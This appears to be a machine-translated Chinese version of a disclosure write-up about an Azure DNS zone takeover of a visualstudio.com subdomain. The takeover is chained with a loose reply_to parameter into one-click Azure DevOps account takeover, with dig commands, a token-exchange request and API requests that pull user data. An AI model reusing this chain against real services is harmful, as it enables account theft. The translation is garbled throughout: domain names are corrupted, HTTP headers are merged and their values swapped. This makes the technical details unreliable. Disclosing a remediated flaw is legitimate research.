当执行子域名接管时,您应该问问自己,影响是什么,我如何证明这一点?当接管子域项目-cascade.viewalstudio.com时,情况尤其如此。
乍一看,我们似乎不能通过接管这个子域来做太多事情,因为*.viewalstudio.com下没有什么超级敏感的东西。然而,在更深入的审查下,我们能够利用信任边界,导致一键帐户接管Azure DevOps帐户。
通过自动化,我们找到了子域项目-cascade.viewalstudio.com,它容易受到Azure Zone DNS接管的攻击。
project-cascade.viewalstudio.com的NS记录指向Azure DNS,但是它们不再在Azure DNS上注册。这导致查找被拒绝,如下所示:
DNS-接管查找项目-cascade.viewalstudio.com。在名称服务器ns3-05.azure-dns.org上,状态:[拒绝]DNS-Takeover查找项目-cascade.viewalstudio.com。在名称服务器ns2-05上,azure-dns.net状态:[拒绝]DNS-Takeover查找项目-cascade.viewalstudio.com。在名称服务器ns1-05.azure-dns.com上,状态:[拒绝]DNS-Takeover查找项目-cascade.viewalstudio.com。在名称服务器ns4-05上。azure-dns.info状态:[拒绝]。
由于查找被拒绝,我们能够在我们拥有的Azure帐户下注册子域。通过这样做,我们能够为子域项目-cascade.viewalstudio.com创建任意DNS记录:
txt记录-txt.project-cascade.viewalstudio.com,值为Azure DNS区域接管POC(概念验证)。
$Dig txt [email protected].为简洁起见,已省略.;;答案部分:txt.project-cascade.viewalstudio.com。10英寸TXT";Azure DNS区域接管POC&34;$dig a arec.project-cascade.visual [email protected].为简洁起见,省略了.;;回答SECTION:arec.project-cascade.visualstudio.com.。2475 in A 3.88.203.203
现在我们已经成功接管了子域,是时候调查安全影响了。
我们发现,viewalstudio.com下面有一些子域,它们促进了通过login.microsoftonline.com的身份验证流。
从上面的URL中需要注意的最重要的事情是端点https://app.vssps.visualstudio.com/_signin:的以下参数和值。
通过一些测试,我们确定该身份验证流具有松散配置的REPLY_TO地址,从而允许*.viewalstudio.com下的任何域接收身份验证令牌。
在上面的url中,请注意我们更改了REPLY_TO参数的值以包含以下内容:https%3A%2F%2Farec.project-cascade.visualstudio.com%2F(我们的子域接管)。
这将提示用户通过正常的Microsoft live.com身份验证流登录,或者如果用户已经登录,则继续登录并重定向请求。
一旦登录,就会发出以下请求,最终导致向我们的控制域arec.project-cascade.visual alstudio.com发出POST请求。
我们发现可以通过app.vsaex.visual alstudio.com将偷来的身份验证令牌交换为持有者令牌。然后,此承载令牌可用于向vsaex.viewalstudio.com、dev.azure.com和vssps.dev.azure.com进行身份验证。
POST/_API/WebPlatformAuth/SessionToken HTTP/1.1主机:app.vsaex.viewalstudio.com连接:closeContent-Length:105来源:https://app.vsaex.visualstudio.comX-VSS-ReauthenticationAction:抑制内容-类型:应用程序/jsonAccept:application/json;api-version=6.0-preview.1;excludeUrls=trueX-Requested-With:XMLHttpRequest.为简洁起见省略了.Cookie:userAuthentication=<;截断的id_Token>;FedAuth=<;截断的FedAuth。00000000-0000000-0000-000000000000";,";强制";:FALSE,";令牌类型";:0,";namedTokenId";::";Aex.Profile";}。
此请求返回以下响应,其中包含可在其他地方使用的有效承载令牌。
例如,在app.vsaex.viewalstudio.com上,此令牌可用于提取用户的电子邮件。
GET/_APIs/USER/USER HTTP/1.1主机:app.vsaex.viewalstudio.com连接:closeX-tfs-FedAuthRedirect:SuppressX-vss-ReAuthenticationAction:SuppressX-RequestAccept-With:XMLHttpRequestAccept-Language:EN-USAuthorization:application/json;api-version=6.0-preview.1;excludeUrls=trueUser-Agent:<;snip刚收到的承载令牌>;接受:XMLHttpRequestAccept-Language:XMLHttpRequestAccept-Language:EN-USAuthorization:承载<;snip刚刚接收的承载令牌>;Linux x86_64)AppleWebKit/537.36(khtml,像壁虎一样)Chrome/79.0.3945.130Safari/537.36X-tfs-Session:ab1e4b56-599c-4ab6-9f5e-756c486a0f2bSec-Fetch-Site:Same-OriginSec-Fetch-Mode:corsReferer:https://app.vsaex.visualstudio.com/me?mkt=en-USAccept-Encoding:gzip,deducateHTTP/1.1200OKCache-Control:no-cachePragma:no-cacheContent-Length:258.为简洁起见,已省略.{";Descriptor";:msa.NTg0Zjc4NDAtYzc5ZC03MWU0LWJkN2ItMDZhY2Y1N2Q2OTA1";,";DisplayName";:";s";,";mail";:";<;account_email>;";,";unconfirmedMail";:NULL,";Country";:";AU";,";dateCreated";:";2018-05-25T23:19:53.6843383+00:00";,";Last Modified";:";2019年-01-06T15:43:50.2963651+00:00";,";修订";:0}。
承担者令牌可以用来访问https://app.vsaex.visualstudio.com/me?mkt=en-US,我们发现它公开了dev.azure.com上相关用户的项目名称。
获取/seanyeoh/_usersSettings/keys?__rt=fps&;__ver=2 HTTP/1.1主机:dev.azure.com连接:closex-tfs-fedauthredirect:SuppressOrigin:https://dev.azure.comx-vss-reauthenticationaction:抑制授权:承载<;剪辑&>接受:application/json;api-version=5.0-preview.1;excludeUrls=true;enumsAsNumbers=true;msDateFormat=true;noArrayWrap=trueUser-Agent:Mozilla/5.0(X11;Linuxx86_64)AppleWebKit/537.36(khtml,像壁虎一样)Chrome/79.0.3945.130Safari/537.36Sec-Fetch-Site:Same-siteSec-Fetch-Mode:corsAccept-Encoding:gzip,deducateAccept-Language:EN-US,EN;q=0.9。
恶意攻击者可以通过将毫无戒备的用户定向到以下URL,对其执行1次单击驱动程序攻击:
从这一点起,攻击者将完全控制用户的Azure DevOps帐户。
此外,对project-cascade.viewalstudio.com的区域接管可能已用于验证project-cascade.viewalstudio.com域的所有权,设置MX记录以捕获发往*.project-cascade.viewalstudio.com的电子邮件,并证明所有权以创建SSL证书。这可能导致各种欺诈和冒充Microsoft服务的机会。
感谢MSRC和Azure DevOps团队对该问题的快速分类和补救。
Assetnote可以通过持续监控攻击面来帮助您检测这些问题。为了实现更深入、更全面的集成,我们的Azure集成可确保您的基础设施状态与我们的引擎同步,以确保您的安全团队在托管区域接管变得易受攻击时收到警报。